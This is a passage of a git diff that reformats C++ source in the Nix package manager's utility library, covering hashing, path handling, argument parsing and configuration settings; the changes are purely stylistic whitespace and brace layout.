{ - if (hashSize != h2.hashSize) return false; + if (hashSize != h2.hashSize) + return false; for (unsigned int i = 0; i < hashSize; i++) - if (hash[i] != h2.hash[i]) return false; + if (hash[i] != h2.hash[i]) + return false; return true; } - -std::strong_ordering Hash::operator <=> (const Hash & h) const noexcept +std::strong_ordering Hash::operator<=>(const Hash & h) const noexcept { - if (auto cmp = hashSize <=> h.hashSize; cmp != 0) return cmp; + if (auto cmp = hashSize <=> h.hashSize; cmp != 0) + return cmp; for (unsigned int i = 0; i < hashSize; i++) { - if (auto cmp = hash[i] <=> h.hash[i]; cmp != 0) return cmp; + if (auto cmp = hash[i] <=> h.hash[i]; cmp != 0) + return cmp; } - if (auto cmp = algo <=> h.algo; cmp != 0) return cmp; + if (auto cmp = algo <=> h.algo; cmp != 0) + return cmp; return std::strong_ordering::equivalent; } - const std::string base16Chars = "0123456789abcdef"; - static std::string printHash16(const Hash & hash) { std::string buf; @@ -81,11 +88,9 @@ static std::string printHash16(const Hash & hash) return buf; } - // omitted: E O U T const std::string nix32Chars = "0123456789abcdfghijklmnpqrsvwxyz"; - static std::string printHash32(const Hash & hash) { assert(hash.hashSize); @@ -99,23 +104,19 @@ static std::string printHash32(const Hash & hash) unsigned int b = n * 5; unsigned int i = b / 8; unsigned int j = b % 8; - unsigned char c = - (hash.hash[i] >> j) - | (i >= hash.hashSize - 1 ? 0 : hash.hash[i + 1] << (8 - j)); + unsigned char c = (hash.hash[i] >> j) | (i >= hash.hashSize - 1 ? 0 : hash.hash[i + 1] << (8 - j)); s.push_back(nix32Chars[c & 0x1f]); } return s; } - std::string printHash16or32(const Hash & hash) { assert(static_cast(hash.algo)); return hash.to_string(hash.algo == HashAlgorithm::MD5 ? HashFormat::Base16 : HashFormat::Nix32, false); } - std::string Hash::to_string(HashFormat hashFormat, bool includeAlgo) const { std::string s; @@ -215,16 +216,17 @@ Hash::Hash(std::string_view rest, HashAlgorithm algo, bool isSRI) if (!isSRI && rest.size() == base16Len()) { auto parseHexDigit = [&](char c) { - if (c >= '0' && c <= '9') return c - '0'; - if (c >= 'A' && c <= 'F') return c - 'A' + 10; - if (c >= 'a' && c <= 'f') return c - 'a' + 10; + if (c >= '0' && c <= '9') + return c - '0'; + if (c >= 'A' && c <= 'F') + return c - 'A' + 10; + if (c >= 'a' && c <= 'f') + return c - 'a' + 10; throw BadHash("invalid base-16 hash '%s'", rest); }; for (unsigned int i = 0; i < hashSize; i++) { - hash[i] = - parseHexDigit(rest[i * 2]) << 4 - | parseHexDigit(rest[i * 2 + 1]); + hash[i] = parseHexDigit(rest[i * 2]) << 4 | parseHexDigit(rest[i * 2 + 1]); } } @@ -234,7 +236,8 @@ Hash::Hash(std::string_view rest, HashAlgorithm algo, bool isSRI) char c = rest[rest.size() - n - 1]; unsigned char digit; for (digit = 0; digit < nix32Chars.size(); ++digit) /* !!! slow */ - if (nix32Chars[digit] == c) break; + if (nix32Chars[digit] == c) + break; if (digit >= 32) throw BadHash("invalid base-32 hash '%s'", rest); unsigned int b = n * 5; @@ -287,7 +290,6 @@ Hash newHashAllowEmpty(std::string_view hashStr, std::optional ha return Hash::parseAny(hashStr, ha); } - union Ctx { blake3_hasher blake3; @@ -297,39 +299,49 @@ union Ctx SHA512_CTX sha512; }; - static void start(HashAlgorithm ha, Ctx & ctx) { - if (ha == HashAlgorithm::BLAKE3) blake3_hasher_init(&ctx.blake3); - else if (ha == HashAlgorithm::MD5) MD5_Init(&ctx.md5); - else if (ha == HashAlgorithm::SHA1) SHA1_Init(&ctx.sha1); - else if (ha == HashAlgorithm::SHA256) SHA256_Init(&ctx.sha256); - else if (ha == HashAlgorithm::SHA512) SHA512_Init(&ctx.sha512); + if (ha == HashAlgorithm::BLAKE3) + blake3_hasher_init(&ctx.blake3); + else if (ha == HashAlgorithm::MD5) + MD5_Init(&ctx.md5); + else if (ha == HashAlgorithm::SHA1) + SHA1_Init(&ctx.sha1); + else if (ha == HashAlgorithm::SHA256) + SHA256_Init(&ctx.sha256); + else if (ha == HashAlgorithm::SHA512) + SHA512_Init(&ctx.sha512); } - -static void update(HashAlgorithm ha, Ctx & ctx, - std::string_view data) +static void update(HashAlgorithm ha, Ctx & ctx, std::string_view data) { - if (ha == HashAlgorithm::BLAKE3) blake3_hasher_update(&ctx.blake3, data.data(), data.size()); - else if (ha == HashAlgorithm::MD5) MD5_Update(&ctx.md5, data.data(), data.size()); - else if (ha == HashAlgorithm::SHA1) SHA1_Update(&ctx.sha1, data.data(), data.size()); - else if (ha == HashAlgorithm::SHA256) SHA256_Update(&ctx.sha256, data.data(), data.size()); - else if (ha == HashAlgorithm::SHA512) SHA512_Update(&ctx.sha512, data.data(), data.size()); + if (ha == HashAlgorithm::BLAKE3) + blake3_hasher_update(&ctx.blake3, data.data(), data.size()); + else if (ha == HashAlgorithm::MD5) + MD5_Update(&ctx.md5, data.data(), data.size()); + else if (ha == HashAlgorithm::SHA1) + SHA1_Update(&ctx.sha1, data.data(), data.size()); + else if (ha == HashAlgorithm::SHA256) + SHA256_Update(&ctx.sha256, data.data(), data.size()); + else if (ha == HashAlgorithm::SHA512) + SHA512_Update(&ctx.sha512, data.data(), data.size()); } - static void finish(HashAlgorithm ha, Ctx & ctx, unsigned char * hash) { - if (ha == HashAlgorithm::BLAKE3) blake3_hasher_finalize(&ctx.blake3, hash, BLAKE3_OUT_LEN); - else if (ha == HashAlgorithm::MD5) MD5_Final(hash, &ctx.md5); - else if (ha == HashAlgorithm::SHA1) SHA1_Final(hash, &ctx.sha1); - else if (ha == HashAlgorithm::SHA256) SHA256_Final(hash, &ctx.sha256); - else if (ha == HashAlgorithm::SHA512) SHA512_Final(hash, &ctx.sha512); + if (ha == HashAlgorithm::BLAKE3) + blake3_hasher_finalize(&ctx.blake3, hash, BLAKE3_OUT_LEN); + else if (ha == HashAlgorithm::MD5) + MD5_Final(hash, &ctx.md5); + else if (ha == HashAlgorithm::SHA1) + SHA1_Final(hash, &ctx.sha1); + else if (ha == HashAlgorithm::SHA256) + SHA256_Final(hash, &ctx.sha256); + else if (ha == HashAlgorithm::SHA512) + SHA512_Final(hash, &ctx.sha512); } -Hash hashString( - HashAlgorithm ha, std::string_view s, const ExperimentalFeatureSettings & xpSettings) +Hash hashString(HashAlgorithm ha, std::string_view s, const ExperimentalFeatureSettings & xpSettings) { Ctx ctx; Hash hash(ha, xpSettings); @@ -346,8 +358,8 @@ Hash hashFile(HashAlgorithm ha, const Path & path) return sink.finish().first; } - -HashSink::HashSink(HashAlgorithm ha) : ha(ha) +HashSink::HashSink(HashAlgorithm ha) + : ha(ha) { ctx = new Ctx; bytes = 0; @@ -383,7 +395,6 @@ HashResult HashSink::currentHash() return HashResult(hash, bytes); } - Hash compressHash(const Hash & hash, unsigned int newSize) { Hash h(hash.algo); @@ -393,17 +404,20 @@ Hash compressHash(const Hash & hash, unsigned int newSize) return h; } - std::optional parseHashFormatOpt(std::string_view hashFormatName) { - if (hashFormatName == "base16") return HashFormat::Base16; - if (hashFormatName == "nix32") return HashFormat::Nix32; + if (hashFormatName == "base16") + return HashFormat::Base16; + if (hashFormatName == "nix32") + return HashFormat::Nix32; if (hashFormatName == "base32") { warn(R"("base32" is a deprecated alias for hash format "nix32".)"); return HashFormat::Nix32; } - if (hashFormatName == "base64") return HashFormat::Base64; - if (hashFormatName == "sri") return HashFormat::SRI; + if (hashFormatName == "base64") + return HashFormat::Base64; + if (hashFormatName == "sri") + return HashFormat::SRI; return std::nullopt; } @@ -435,11 +449,16 @@ std::string_view printHashFormat(HashFormat HashFormat) std::optional parseHashAlgoOpt(std::string_view s) { - if (s == "blake3") return HashAlgorithm::BLAKE3; - if (s == "md5") return HashAlgorithm::MD5; - if (s == "sha1") return HashAlgorithm::SHA1; - if (s == "sha256") return HashAlgorithm::SHA256; - if (s == "sha512") return HashAlgorithm::SHA512; + if (s == "blake3") + return HashAlgorithm::BLAKE3; + if (s == "md5") + return HashAlgorithm::MD5; + if (s == "sha1") + return HashAlgorithm::SHA1; + if (s == "sha256") + return HashAlgorithm::SHA256; + if (s == "sha512") + return HashAlgorithm::SHA512; return std::nullopt; } @@ -455,11 +474,16 @@ HashAlgorithm parseHashAlgo(std::string_view s) std::string_view printHashAlgo(HashAlgorithm ha) { switch (ha) { - case HashAlgorithm::BLAKE3: return "blake3"; - case HashAlgorithm::MD5: return "md5"; - case HashAlgorithm::SHA1: return "sha1"; - case HashAlgorithm::SHA256: return "sha256"; - case HashAlgorithm::SHA512: return "sha512"; + case HashAlgorithm::BLAKE3: + return "blake3"; + case HashAlgorithm::MD5: + return "md5"; + case HashAlgorithm::SHA1: + return "sha1"; + case HashAlgorithm::SHA256: + return "sha256"; + case HashAlgorithm::SHA512: + return "sha512"; default: // illegal hash type enum value internally, as opposed to external input // which should be validated with nice error message. diff --git a/src/libutil/hilite.cc b/src/libutil/hilite.cc index cfadd6af9..80edae895 100644 --- a/src/libutil/hilite.cc +++ b/src/libutil/hilite.cc @@ -2,19 +2,15 @@ namespace nix { -std::string hiliteMatches( - std::string_view s, - std::vector matches, - std::string_view prefix, - std::string_view postfix) +std::string +hiliteMatches(std::string_view s, std::vector matches, std::string_view prefix, std::string_view postfix) { // Avoid extra work on zero matches if (matches.size() == 0) return std::string(s); - std::sort(matches.begin(), matches.end(), [](const auto & a, const auto & b) { - return a.position() < b.position(); - }); + std::sort( + matches.begin(), matches.end(), [](const auto & a, const auto & b) { return a.position() < b.position(); }); std::string out; ssize_t last_end = 0; diff --git a/src/libutil/include/nix/util/archive.hh b/src/libutil/include/nix/util/archive.hh index ae3274fa6..5fb58f2d2 100644 --- a/src/libutil/include/nix/util/archive.hh +++ b/src/libutil/include/nix/util/archive.hh @@ -5,10 +5,8 @@ #include "nix/util/serialise.hh" #include "nix/util/fs-sink.hh" - namespace nix { - /** * dumpPath creates a Nix archive of the specified path. * @@ -57,14 +55,12 @@ namespace nix { * `+` denotes string concatenation. * ``` */ -void dumpPath(const Path & path, Sink & sink, - PathFilter & filter = defaultPathFilter); +void dumpPath(const Path & path, Sink & sink, PathFilter & filter = defaultPathFilter); /** * Same as dumpPath(), but returns the last modified date of the path. */ -time_t dumpPathAndGetMtime(const Path & path, Sink & sink, - PathFilter & filter = defaultPathFilter); +time_t dumpPathAndGetMtime(const Path & path, Sink & sink, PathFilter & filter = defaultPathFilter); /** * Dump an archive with a single file with these contents. @@ -82,10 +78,8 @@ void restorePath(const std::filesystem::path & path, Source & source, bool start */ void copyNAR(Source & source, Sink & sink); - inline constexpr std::string_view narVersionMagic1 = "nix-archive-1"; inline constexpr std::string_view caseHackSuffix = "~nix~case~hack~"; - } diff --git a/src/libutil/include/nix/util/args.hh b/src/libutil/include/nix/util/args.hh index 463270374..60918fb26 100644 --- a/src/libutil/include/nix/util/args.hh +++ b/src/libutil/include/nix/util/args.hh @@ -31,18 +31,28 @@ public: /** * Return a short one-line description of the command. - */ - virtual std::string description() { return ""; } + */ + virtual std::string description() + { + return ""; + } - virtual bool forceImpureByDefault() { return false; } + virtual bool forceImpureByDefault() + { + return false; + } /** * Return documentation about this command, in Markdown format. */ - virtual std::string doc() { return ""; } + virtual std::string doc() + { + return ""; + } /** - * @brief Get the [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) for the command. + * @brief Get the [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) for the + * command. * * @return Generally the working directory, but in case of a shebang * interpreter, returns the directory of the script. @@ -78,73 +88,79 @@ protected: Handler(std::function)> && fun) : fun(std::move(fun)) , arity(ArityAny) - { } + { + } Handler(std::function && handler) : fun([handler{std::move(handler)}](std::vector) { handler(); }) , arity(0) - { } + { + } Handler(std::function && handler) - : fun([handler{std::move(handler)}](std::vector ss) { - handler(std::move(ss[0])); - }) + : fun([handler{std::move(handler)}](std::vector ss) { handler(std::move(ss[0])); }) , arity(1) - { } + { + } Handler(std::function && handler) : fun([handler{std::move(handler)}](std::vector ss) { handler(std::move(ss[0]), std::move(ss[1])); - }) + }) , arity(2) - { } + { + } Handler(std::vector * dest) : fun([dest](std::vector ss) { *dest = ss; }) , arity(ArityAny) - { } + { + } Handler(std::string * dest) : fun([dest](std::vector ss) { *dest = ss[0]; }) , arity(1) - { } + { + } Handler(std::optional * dest) : fun([dest](std::vector ss) { *dest = ss[0]; }) , arity(1) - { } + { + } Handler(std::filesystem::path * dest) : fun([dest](std::vector ss) { *dest = ss[0]; }) , arity(1) - { } + { + } Handler(std::optional * dest) : fun([dest](std::vector ss) { *dest = ss[0]; }) , arity(1) - { } + { + } template Handler(T * dest, const T & val) : fun([dest, val](std::vector ss) { *dest = val; }) , arity(0) - { } + { + } template Handler(I * dest) - : fun([dest](std::vector ss) { - *dest = string2IntWithUnitPrefix(ss[0]); - }) + : fun([dest](std::vector ss) { *dest = string2IntWithUnitPrefix(ss[0]); }) , arity(1) - { } + { + } template Handler(std::optional * dest) - : fun([dest](std::vector ss) { - *dest = string2IntWithUnitPrefix(ss[0]); - }) + : fun([dest](std::vector ss) { *dest = string2IntWithUnitPrefix(ss[0]); }) , arity(1) - { } + { + } }; /** @@ -248,8 +264,8 @@ protected: * This list is used to extend the lifetime of the argument forms. * If this is not done, some closures that reference the command * itself will segfault. - */ - std::list processedArgs; + */ + std::list processedArgs; /** * Process some positional arugments @@ -261,7 +277,9 @@ protected: virtual bool processArgs(const Strings & args, bool finish); virtual Strings::iterator rewriteArgs(Strings & args, Strings::iterator pos) - { return pos; } + { + return pos; + } std::set hiddenCategories; @@ -287,11 +305,7 @@ public: */ void expectArg(const std::string & label, std::string * dest, bool optional = false) { - expectArgs({ - .label = label, - .optional = optional, - .handler = {dest} - }); + expectArgs({.label = label, .optional = optional, .handler = {dest}}); } /** @@ -299,11 +313,7 @@ public: */ void expectArg(const std::string & label, std::filesystem::path * dest, bool optional = false) { - expectArgs({ - .label = label, - .optional = optional, - .handler = {dest} - }); + expectArgs({.label = label, .optional = optional, .handler = {dest}}); } /** @@ -311,10 +321,7 @@ public: */ void expectArgs(const std::string & label, std::vector * dest) { - expectArgs({ - .label = label, - .handler = {dest} - }); + expectArgs({.label = label, .handler = {dest}}); } static CompleterFun completePath; @@ -364,7 +371,10 @@ struct Command : virtual public Args virtual std::optional experimentalFeature(); - virtual Category category() { return catDefault; } + virtual Category category() + { + return catDefault; + } }; using Commands = std::map()>>; @@ -401,7 +411,8 @@ public: }; /** An alias, except for the original syntax, which is in the map key. */ - struct AliasInfo { + struct AliasInfo + { AliasStatus status; std::vector replacement; }; @@ -419,9 +430,10 @@ protected: bool aliasUsed = false; }; -Strings argvToStrings(int argc, char * * argv); +Strings argvToStrings(int argc, char ** argv); -struct Completion { +struct Completion +{ std::string completion; std::string description; diff --git a/src/libutil/include/nix/util/args/root.hh b/src/libutil/include/nix/util/args/root.hh index cdc9be613..379d7769f 100644 --- a/src/libutil/include/nix/util/args/root.hh +++ b/src/libutil/include/nix/util/args/root.hh @@ -57,7 +57,8 @@ protected: /** * A pointer to the completion and its two arguments; a thunk; */ - struct DeferredCompletion { + struct DeferredCompletion + { const CompleterClosure & completer; size_t n; std::string prefix; diff --git a/src/libutil/include/nix/util/callback.hh b/src/libutil/include/nix/util/callback.hh index c2cada2f6..793dc3bb9 100644 --- a/src/libutil/include/nix/util/callback.hh +++ b/src/libutil/include/nix/util/callback.hh @@ -20,14 +20,18 @@ class Callback public: - Callback(std::function)> fun) : fun(fun) { } + Callback(std::function)> fun) + : fun(fun) + { + } // NOTE: std::function is noexcept move-constructible since C++20. Callback(Callback && callback) noexcept(std::is_nothrow_move_constructible_v) : fun(std::move(callback.fun)) { auto prev = callback.done.test_and_set(); - if (prev) done.test_and_set(); + if (prev) + done.test_and_set(); } void operator()(T && t) noexcept diff --git a/src/libutil/include/nix/util/canon-path.hh b/src/libutil/include/nix/util/canon-path.hh index f84347dc4..9affce7f6 100644 --- a/src/libutil/include/nix/util/canon-path.hh +++ b/src/libutil/include/nix/util/canon-path.hh @@ -51,13 +51,16 @@ public: explicit CanonPath(const char * raw) : CanonPath(std::string_view(raw)) - { } + { + } - struct unchecked_t { }; + struct unchecked_t + {}; CanonPath(unchecked_t _, std::string path) : path(std::move(path)) - { } + { + } /** * Construct a canon path from a vector of elements. @@ -74,13 +77,19 @@ public: CanonPath(std::string_view raw, const CanonPath & root); bool isRoot() const - { return path.size() <= 1; } + { + return path.size() <= 1; + } explicit operator std::string_view() const - { return path; } + { + return path; + } const std::string & abs() const - { return path; } + { + return path; + } /** * Like abs(), but return an empty string if this path is @@ -93,10 +102,14 @@ public: } const char * c_str() const - { return path.c_str(); } + { + return path.c_str(); + } std::string_view rel() const - { return ((std::string_view) path).substr(1); } + { + return ((std::string_view) path).substr(1); + } const char * rel_c_str() const { @@ -113,18 +126,25 @@ public: Iterator(std::string_view remaining) : remaining(remaining) , slash(remaining.find('/')) - { } + { + } - bool operator != (const Iterator & x) const - { return remaining.data() != x.remaining.data(); } + bool operator!=(const Iterator & x) const + { + return remaining.data() != x.remaining.data(); + } - bool operator == (const Iterator & x) const - { return !(*this != x); } + bool operator==(const Iterator & x) const + { + return !(*this != x); + } - const std::string_view operator * () const - { return remaining.substr(0, slash); } + const std::string_view operator*() const + { + return remaining.substr(0, slash); + } - void operator ++ () + void operator++() { if (slash == remaining.npos) remaining = remaining.substr(remaining.size()); @@ -135,8 +155,14 @@ public: } }; - Iterator begin() const { return Iterator(rel()); } - Iterator end() const { return Iterator(rel().substr(path.size() - 1)); } + Iterator begin() const + { + return Iterator(rel()); + } + Iterator end() const + { + return Iterator(rel().substr(path.size() - 1)); + } std::optional parent() const; @@ -147,21 +173,27 @@ public: std::optional dirOf() const { - if (isRoot()) return std::nullopt; + if (isRoot()) + return std::nullopt; return ((std::string_view) path).substr(0, path.rfind('/')); } std::optional baseName() const { - if (isRoot()) return std::nullopt; + if (isRoot()) + return std::nullopt; return ((std::string_view) path).substr(path.rfind('/') + 1); } - bool operator == (const CanonPath & x) const - { return path == x.path; } + bool operator==(const CanonPath & x) const + { + return path == x.path; + } - bool operator != (const CanonPath & x) const - { return path != x.path; } + bool operator!=(const CanonPath & x) const + { + return path != x.path; + } /** * Compare paths lexicographically except that path separators @@ -169,16 +201,19 @@ public: * a directory is always followed directly by its children. For * instance, 'foo' < 'foo/bar' < 'foo!'. */ - auto operator <=> (const CanonPath & x) const + auto operator<=>(const CanonPath & x) const { auto i = path.begin(); auto j = x.path.begin(); - for ( ; i != path.end() && j != x.path.end(); ++i, ++j) { + for (; i != path.end() && j != x.path.end(); ++i, ++j) { auto c_i = *i; - if (c_i == '/') c_i = 0; + if (c_i == '/') + c_i = 0; auto c_j = *j; - if (c_j == '/') c_j = 0; - if (auto cmp = c_i <=> c_j; cmp != 0) return cmp; + if (c_j == '/') + c_j = 0; + if (auto cmp = c_i <=> c_j; cmp != 0) + return cmp; } return (i != path.end()) <=> (j != x.path.end()); } @@ -199,14 +234,14 @@ public: /** * Concatenate two paths. */ - CanonPath operator / (const CanonPath & x) const; + CanonPath operator/(const CanonPath & x) const; /** * Add a path component to this one. It must not contain any slashes. */ void push(std::string_view c); - CanonPath operator / (std::string_view c) const; + CanonPath operator/(std::string_view c) const; /** * Check whether access to this path is allowed, which is the case @@ -225,14 +260,14 @@ public: friend class std::hash; }; -std::ostream & operator << (std::ostream & stream, const CanonPath & path); +std::ostream & operator<<(std::ostream & stream, const CanonPath & path); } template<> struct std::hash { - std::size_t operator ()(const nix::CanonPath & s) const noexcept + std::size_t operator()(const nix::CanonPath & s) const noexcept { return std::hash{}(s.path); } diff --git a/src/libutil/include/nix/util/chunked-vector.hh b/src/libutil/include/nix/util/chunked-vector.hh index 96a717556..7d6e7933c 100644 --- a/src/libutil/include/nix/util/chunked-vector.hh +++ b/src/libutil/include/nix/util/chunked-vector.hh @@ -20,7 +20,8 @@ namespace nix { * references to its elements. */ template -class ChunkedVector { +class ChunkedVector +{ private: uint32_t size_ = 0; std::vector> chunks; @@ -45,12 +46,15 @@ public: addChunk(); } - uint32_t size() const { return size_; } + uint32_t size() const + { + return size_; + } std::pair add(T value) { const auto idx = size_++; - auto & chunk = [&] () -> auto & { + auto & chunk = [&]() -> auto & { if (auto & back = chunks.back(); back.size() < ChunkSize) return back; return addChunk(); diff --git a/src/libutil/include/nix/util/closure.hh b/src/libutil/include/nix/util/closure.hh index 54b18ab3d..fc62c83cc 100644 --- a/src/libutil/include/nix/util/closure.hh +++ b/src/libutil/include/nix/util/closure.hh @@ -13,11 +13,7 @@ template using GetEdgesAsync = std::function> &)>)>; template -void computeClosure( - const set startElts, - set & res, - GetEdgesAsync getEdgesAsync -) +void computeClosure(const set startElts, set & res, GetEdgesAsync getEdgesAsync) { struct State { @@ -35,8 +31,10 @@ void computeClosure( enqueue = [&](const T & current) -> void { { auto state(state_.lock()); - if (state->exc) return; - if (!state->res.insert(current).second) return; + if (state->exc) + return; + if (!state->res.insert(current).second) + return; state->pending++; } @@ -48,13 +46,16 @@ void computeClosure( { auto state(state_.lock()); assert(state->pending); - if (!--state->pending) done.notify_one(); + if (!--state->pending) + done.notify_one(); } } catch (...) { auto state(state_.lock()); - if (!state->exc) state->exc = std::current_exception(); + if (!state->exc) + state->exc = std::current_exception(); assert(state->pending); - if (!--state->pending) done.notify_one(); + if (!--state->pending) + done.notify_one(); }; }); }; @@ -64,8 +65,10 @@ void computeClosure( { auto state(state_.lock()); - while (state->pending) state.wait(done); - if (state->exc) std::rethrow_exception(state->exc); + while (state->pending) + state.wait(done); + if (state->exc) + std::rethrow_exception(state->exc); } } diff --git a/src/libutil/include/nix/util/comparator.hh b/src/libutil/include/nix/util/comparator.hh index 34ba6f453..ab39a04b5 100644 --- a/src/libutil/include/nix/util/comparator.hh +++ b/src/libutil/include/nix/util/comparator.hh @@ -1,13 +1,14 @@ #pragma once ///@file -#define GENERATE_ONE_CMP(PRE, RET, QUAL, COMPARATOR, MY_TYPE, ...) \ - PRE RET QUAL operator COMPARATOR(const MY_TYPE & other) const noexcept { \ - __VA_OPT__(const MY_TYPE * me = this;) \ - auto fields1 = std::tie( __VA_ARGS__ ); \ - __VA_OPT__(me = &other;) \ - auto fields2 = std::tie( __VA_ARGS__ ); \ - return fields1 COMPARATOR fields2; \ +#define GENERATE_ONE_CMP(PRE, RET, QUAL, COMPARATOR, MY_TYPE, ...) \ + PRE RET QUAL operator COMPARATOR(const MY_TYPE & other) const noexcept \ + { \ + __VA_OPT__(const MY_TYPE * me = this;) \ + auto fields1 = std::tie(__VA_ARGS__); \ + __VA_OPT__(me = &other;) \ + auto fields2 = std::tie(__VA_ARGS__); \ + return fields1 COMPARATOR fields2; \ } #define GENERATE_EQUAL(prefix, qualification, my_type, args...) \ GENERATE_ONE_CMP(prefix, bool, qualification, ==, my_type, args) @@ -36,8 +37,8 @@ * ``` */ #define GENERATE_CMP(args...) \ - GENERATE_EQUAL(,,args) \ - GENERATE_SPACESHIP(,auto,,args) + GENERATE_EQUAL(, , args) \ + GENERATE_SPACESHIP(, auto, , args) /** * @param prefix This is for something before each declaration like @@ -46,5 +47,5 @@ * @param my_type the type are defining operators for. */ #define GENERATE_CMP_EXT(prefix, ret, my_type, args...) \ - GENERATE_EQUAL(prefix, my_type ::, my_type, args) \ + GENERATE_EQUAL(prefix, my_type ::, my_type, args) \ GENERATE_SPACESHIP(prefix, ret, my_type ::, my_type, args) diff --git a/src/libutil/include/nix/util/config-impl.hh b/src/libutil/include/nix/util/config-impl.hh index 15e0c9554..4eb3aa42d 100644 --- a/src/libutil/include/nix/util/config-impl.hh +++ b/src/libutil/include/nix/util/config-impl.hh @@ -17,19 +17,23 @@ namespace nix { -template<> struct BaseSetting::trait +template<> +struct BaseSetting::trait { static constexpr bool appendable = true; }; -template<> struct BaseSetting::trait +template<> +struct BaseSetting::trait { static constexpr bool appendable = true; }; -template<> struct BaseSetting::trait +template<> +struct BaseSetting::trait { static constexpr bool appendable = true; }; -template<> struct BaseSetting>::trait +template<> +struct BaseSetting>::trait { static constexpr bool appendable = true; }; @@ -46,17 +50,19 @@ bool BaseSetting::isAppendable() return trait::appendable; } -template<> void BaseSetting::appendOrSet(Strings newValue, bool append); -template<> void BaseSetting::appendOrSet(StringSet newValue, bool append); -template<> void BaseSetting::appendOrSet(StringMap newValue, bool append); -template<> void BaseSetting>::appendOrSet(std::set newValue, bool append); +template<> +void BaseSetting::appendOrSet(Strings newValue, bool append); +template<> +void BaseSetting::appendOrSet(StringSet newValue, bool append); +template<> +void BaseSetting::appendOrSet(StringMap newValue, bool append); +template<> +void BaseSetting>::appendOrSet(std::set newValue, bool append); template void BaseSetting::appendOrSet(T newValue, bool append) { - static_assert( - !trait::appendable, - "using default `appendOrSet` implementation with an appendable type"); + static_assert(!trait::appendable, "using default `appendOrSet` implementation with an appendable type"); assert(!append); value = std::move(newValue); @@ -69,13 +75,15 @@ void BaseSetting::set(const std::string & str, bool append) appendOrSet(parse(str), append); else { assert(experimentalFeature); - warn("Ignoring setting '%s' because experimental feature '%s' is not enabled", + warn( + "Ignoring setting '%s' because experimental feature '%s' is not enabled", name, showExperimentalFeature(*experimentalFeature)); } } -template<> void BaseSetting::convertToArg(Args & args, const std::string & category); +template<> +void BaseSetting::convertToArg(Args & args, const std::string & category); template void BaseSetting::convertToArg(Args & args, const std::string & category) @@ -86,7 +94,10 @@ void BaseSetting::convertToArg(Args & args, const std::string & category) .description = fmt("Set the `%s` setting.", name), .category = category, .labels = {"value"}, - .handler = {[this](std::string s) { overridden = true; set(s); }}, + .handler = {[this](std::string s) { + overridden = true; + set(s); + }}, .experimentalFeature = experimentalFeature, }); @@ -97,14 +108,19 @@ void BaseSetting::convertToArg(Args & args, const std::string & category) .description = fmt("Append to the `%s` setting.", name), .category = category, .labels = {"value"}, - .handler = {[this](std::string s) { overridden = true; set(s, true); }}, + .handler = {[this](std::string s) { + overridden = true; + set(s, true); + }}, .experimentalFeature = experimentalFeature, }); } -#define DECLARE_CONFIG_SERIALISER(TY) \ - template<> TY BaseSetting< TY >::parse(const std::string & str) const; \ - template<> std::string BaseSetting< TY >::to_string() const; +#define DECLARE_CONFIG_SERIALISER(TY) \ + template<> \ + TY BaseSetting::parse(const std::string & str) const; \ + template<> \ + std::string BaseSetting::to_string() const; DECLARE_CONFIG_SERIALISER(std::string) DECLARE_CONFIG_SERIALISER(std::optional) diff --git a/src/libutil/include/nix/util/configuration.hh b/src/libutil/include/nix/util/configuration.hh index 34cefd73b..24df71eeb 100644 --- a/src/libutil/include/nix/util/configuration.hh +++ b/src/libutil/include/nix/util/configuration.hh @@ -247,7 +247,8 @@ protected: public: - BaseSetting(const T & def, + BaseSetting( + const T & def, const bool documentDefault, const std::string & name, const std::string & description, @@ -257,21 +258,50 @@ public: , value(def) , defaultValue(def) , documentDefault(documentDefault) - { } + { + } - operator const T &() const { return value; } - operator T &() { return value; } - const T & get() const { return value; } - T & get() { return value; } + operator const T &() const + { + return value; + } + operator T &() + { + return value; + } + const T & get() const + { + return value; + } + T & get() + { + return value; + } template - bool operator ==(const U & v2) const { return value == v2; } + bool operator==(const U & v2) const + { + return value == v2; + } template - bool operator !=(const U & v2) const { return value != v2; } + bool operator!=(const U & v2) const + { + return value != v2; + } template - void operator =(const U & v) { assign(v); } - virtual void assign(const T & v) { value = v; } + void operator=(const U & v) + { + assign(v); + } + virtual void assign(const T & v) + { + value = v; + } template - void setDefault(const U & v) { if (!overridden) value = v; } + void setDefault(const U & v) + { + if (!overridden) + value = v; + } /** * Require any experimental feature the setting depends on @@ -307,19 +337,23 @@ public: }; template -std::ostream & operator <<(std::ostream & str, const BaseSetting & opt) +std::ostream & operator<<(std::ostream & str, const BaseSetting & opt) { return str << static_cast(opt); } template -bool operator ==(const T & v1, const BaseSetting & v2) { return v1 == static_cast(v2); } +bool operator==(const T & v1, const BaseSetting & v2) +{ + return v1 == static_cast(v2); +} template class Setting : public BaseSetting { public: - Setting(Config * options, + Setting( + Config * options, const T & def, const std::string & name, const std::string & description, @@ -331,7 +365,10 @@ public: options->addSetting(this); } - void operator =(const T & v) { this->assign(v); } + void operator=(const T & v) + { + this->assign(v); + } }; /** @@ -345,7 +382,8 @@ class PathSetting : public BaseSetting { public: - PathSetting(Config * options, + PathSetting( + Config * options, const Path & def, const std::string & name, const std::string & description, @@ -353,9 +391,15 @@ public: Path parse(const std::string & str) const override; - Path operator +(const char * p) const { return value + p; } + Path operator+(const char * p) const + { + return value + p; + } - void operator =(const Path & v) { this->assign(v); } + void operator=(const Path & v) + { + this->assign(v); + } }; /** @@ -367,7 +411,8 @@ class OptionalPathSetting : public BaseSetting> { public: - OptionalPathSetting(Config * options, + OptionalPathSetting( + Config * options, const std::optional & def, const std::string & name, const std::string & description, @@ -375,14 +420,16 @@ public: std::optional parse(const std::string & str) const override; - void operator =(const std::optional & v); + void operator=(const std::optional & v); }; - -struct ExperimentalFeatureSettings : Config { +struct ExperimentalFeatureSettings : Config +{ Setting> experimentalFeatures{ - this, {}, "experimental-features", + this, + {}, + "experimental-features", R"( Experimental features that are enabled. diff --git a/src/libutil/include/nix/util/current-process.hh b/src/libutil/include/nix/util/current-process.hh index b2c92a34c..52985d9c8 100644 --- a/src/libutil/include/nix/util/current-process.hh +++ b/src/libutil/include/nix/util/current-process.hh @@ -4,7 +4,7 @@ #include #ifndef _WIN32 -# include +# include #endif #include "nix/util/types.hh" diff --git a/src/libutil/include/nix/util/english.hh b/src/libutil/include/nix/util/english.hh index 9c6c93571..2b9f8c2ef 100644 --- a/src/libutil/include/nix/util/english.hh +++ b/src/libutil/include/nix/util/english.hh @@ -9,10 +9,7 @@ namespace nix { * * If `count == 1`, prints `1 {single}` to `output`, otherwise prints `{count} {plural}`. */ -std::ostream & pluralize( - 